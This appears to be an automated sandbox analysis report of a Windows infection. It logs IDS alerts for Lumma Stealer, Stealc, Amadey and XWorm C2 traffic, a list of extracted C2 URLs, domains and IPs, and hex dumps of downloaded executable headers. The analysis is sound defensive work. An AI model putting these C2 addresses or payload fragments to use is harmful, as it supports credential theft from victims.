Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C875070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,	10_2_6C875070

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: chrome.exe

Memory has grown: Private usage: 6MB later: 35MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058656 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop) : 192.168.2.6:51747 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49764 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49775 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49747 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49753 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49781 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49792 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49805 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.6:49823 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49873 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49873 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49873
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49873 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49873
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49873 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50024 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50025
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50028 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50031 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:50030 -> 80.76.51.73:3232
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50045 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50048 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50051 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49753 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49753 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49775 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49747 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49747 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49823 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50035 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50035 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50039 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50032 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50032 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: fallyjustif.click
Source: Malware configuration extractor	URLs: get.craca.ru
Source: Malware configuration extractor	IPs: 185.215.113.43

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: rentry.co

Source: global traffic

TCP traffic: 192.168.2.6:50030 -> 80.76.51.73:3232

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 03 Jan 2025 14:21:22 GMTContent-Type: application/octet-streamContent-Length: 5196288Last-Modified: Fri, 03 Jan 2025 13:54:53 GMTConnection: keep-aliveETag: "6777ec2d-4f4a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 50 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 4f 00 00 04 00 00 d9 fa 4f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 77 75 78 6f 6e 70 67 00 80 2a 00 00 c0 24 00 00 80 2a 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 65 62 69 70 71 6d 78 00 10 00 00 00 40 4f 00 00 04 00 00 00 24 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4f 00 00 22 00 00 00 28 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 03 Jan 2025 14:21:27 GMTContent-Type: application/octet-streamContent-Length: 3183616Last-Modified: Fri, 03 Jan 2025 13:55:02 GMTConnection: keep-aliveETag: "6777ec36-309400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 46 f3 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 80 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 80 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 6a 76 6e 70 6c 68 6b 00 e0 29 00 00 b0 06 00 00 d8 29 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 65 74 63 65 61 66 79 00 10 00 00 00 90 30 00 00 04 00 00 00 6e 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 30 00 00 22 00 00 00 72 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Jan 2025 14:21:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Jan 2025 14:21:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 03 Jan 2025 14:21:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
